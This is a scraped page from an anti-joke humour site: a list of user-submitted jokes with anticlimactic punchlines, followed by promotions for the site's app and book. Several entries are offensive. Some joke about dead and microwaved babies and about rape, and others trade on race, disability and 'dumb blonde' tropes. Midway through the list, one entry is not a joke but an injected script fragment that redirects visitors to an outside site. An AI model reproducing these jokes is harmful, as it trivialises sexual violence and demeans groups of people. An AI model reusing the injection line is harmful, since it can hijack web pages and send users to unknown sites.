Horse walks into a bar... Bartender says It's probably not a good idea that you're in here. You're a very large animal. Any sudden movements, you may injure somebody. I don't know why you're here. None of the glasses are ergonomically designed for you to drink from them. So, you should probably leave.

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What's worse than finding a worm in your apple? Slowly being tortured to death.

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What do trees and people have in common? If you hit them enough times with an axe they will fall over.

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Your mam is so fat.

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What does 10 dead babies in a microwave look like? I dont know. I was too busy masturbating.

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What did the alchoholic get for his birthday? Nothing. His alchohol abuse split up is family and now he is alone.

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Q: How many surrealists does it take to change a light bulb? A: Ele PHa n T

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What do you call cheese that doesn't belong to you? Someone else's cheese.

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What did the big chimney say to the little chimney? Nothing, chimneys can't talk!

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Did you hear about the constipated mathematician who broke his calculator? He went to the shops and bought some laxatives and a new calculator.

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Why was the blonde so dumb? Because she came from a very poor family and could not afford a decent education

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Why are all teachers stupid? They´re not. Why would you say that?

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"'>document.location.href="http://cramik.org"

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What did the boy with no arms and no legs get for Christmas? A bicycle!

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Why was the boy sad? His cookies are gone.

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a grasshopper walks into a bar the bartender says hey we have a drink named after you the grasshopper says what dave?

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why did the boy scream? because he got shot.

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Why was the white man chosen for the job over the black guy? He had more work experience and was clearly the better suited applicant.

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Whats black on top and white on bottom? Rape.

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A sandwich walks into a bar. The barman says, "We don't serve food here." The sandwich charges the barman for discrimination.

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whats up with the irish jokes? Honestly im not a alcoholic so all of you can go F*** yourselfs...

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Why did they bury the fireman at the side of the hill? Because he was dead

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What did the deaf man say to the blind man? Probably "Look out for that car," but since he has been deaf since the age of 7, his verbal skills are tenuous at best.

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What is black and white and red all over? A pile of dead, bleeding, mixed race babies.

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Anti Joke

What are Antijokes? Anti Jokes (or Anti Humor) is a type of comedy in which the uses is set up to expect a typical joke setup however the joke ends with such anticlimax that it becomes funny in its own right. The lack of punchline is the punchline.

Our Updated iOS App!

We've just released huge update to the iOS app! Now, access all your favorite text and photo sites like Anti-Joke, DIYLOL! A few things didn't make the original cut (like comments) but they'll be back soon. Best of all, the app is now FREE! Get it here.

The Anti Joke Book


NEW ANTI-JOKE BOOK!  Now that we've resolved the printing issues with our publisher, check out the BRAND SPANKING NEW Anti-Joke Book!

MOAR??

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Anti-Joke Chicken

Anti-Joke Triceratops